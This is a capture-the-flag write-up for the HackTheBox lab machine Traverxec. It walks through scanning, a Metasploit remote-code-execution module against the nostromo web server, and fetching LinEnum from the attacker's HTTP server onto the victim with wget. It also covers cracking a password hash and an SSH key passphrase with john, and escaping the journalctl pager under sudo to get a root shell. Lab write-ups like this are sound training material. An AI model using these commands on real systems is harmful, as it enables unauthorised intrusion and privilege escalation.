HTB Traverxec

April 11, 2020 3-minute read

0x01 Introduction Link to heading

Write up for Traverxec machine on HackTheBox. It was one of my frist machines that were active. Quite interesting, I learnt new tools such as LinEnum and GTFOBins.

0x02 Tools Link to heading

nmap
metasploit
john
LinEnum
GTFOBins

0x03 Recon and Enum Link to heading

nmap Link to heading

1nmap -sT -p- --min-rate 10000 -oA nmap_tcp 10.10.10.165

1nmap -p 22,80 -sV -sC -oA nmap_sctipts 10.10.10.165

searchsploit Link to heading

The port 80 open and it’s nostromo 1.9.6 there. Let’s search for any exploits for this one.

1searchsploit nostromo

Looks like there is RCE exploit available for this particular verstion.

If we open broswer and navigate to 10.10.10.165 we can see the following page:

metasploit Link to heading

Let’s check metasploit for any available exploits for nostromo:

1msfconsole
2search nostromo

Great! We can try to exploit this.

0x04 Exploitation Link to heading

1use exploit/multi/http/nostromo_code_exec

We now have to check options:

Let’s set RHOSTS and LHOST and try to run it:

1set rhosts 10.10.10.165
2set lhost tun0
3exploit

Nice! We go shell now. Let’s enumerate further.It looks like there is python installed on the machine; let’s try to spawn interactive shell using

1python -c "import pty;pty.spawn('/bin/bash')"

LinEnum Link to heading

Good. Now we have to enumerate some more. We can use LinEnum bash scirpt, for that on local machine we have to clone the git:

1git clone https://github.com/rebootuser/LinEnum

Now we have to upload this script to victim’s machine. To do this, we have to start http server using python:

1python3 -m http.server 8080

Then, on victim’s machine we have to download our script to tmp folder and run it:

1cd /tmp
2wget http://10.10.14.18:8080/LinEnum.sh
3chmod 777 LinEnum.sh
4./LinEnum.sh

Let’s see if it can find something..

And here we go, we’ve got password hash for user david:

john Link to heading

Let’s try to crack the above hash with john:

1john --wordlist=/usr/share/wordlists/rockyou.txt hash

After a few minutes we cracked the password

let’s try to ssh to the machine using david’s credentials we’ve just obtained:

config file Link to heading

Dang.. seems like the password is wrong. Let’s check other directories and see if there are any config files we can access:

1find / -type f -name "*.conf" 2>/dev/null

Let’s cat this file and see what’s inside:

Nice, we can try to navigate there inside david home dir:

1cd /home/david/public_www
2ls -lah

Let’s go deeper now:

1cd protected-file-area
2ls -lah

Awesome! we got backup of probably a rsa key:

Let’s unpack it into tmp dir and look inside:

1tar zxvf backup-ssh-identity-files.tgz -C /tmp
2ls -lah /tmp
3cd /tmp/home/david/.ssh
4ls -lah
5cat id_rsa

We’ll now use this key and try to crack it using john, but first we have to convert it into a proper format using ssh2john.py script:

1/usr/share/john/ssh2john.py id_rsa > id_rsa.hash
2john -wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash --format=ssh
3chmod 700 id_rsa

Now, we’ll try to ssh to the machine using this private key, david as a username and password we’ve just obtained:

1ssh -i id_rsa david@10.10.10.165

It worked!

We own the user now

1cat user.txt

GTFOBins Link to heading

1sudo -l

It didn’t work, seems like david doesn’t have any sudo special permissions. Let’s check the folders within our home directory:

Let’s run this script and see…

Ok. Bascially, it means that journalctl runs with as root. However, only that particular command. Let’s go to GTFObins and check if there is anything about journalctl:

Awesome! we can exploit this:

1/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

then we need to change the size of the window when running it. We can do it manually by dragging the edge of the window.

1!/bin/sh

And we got root now.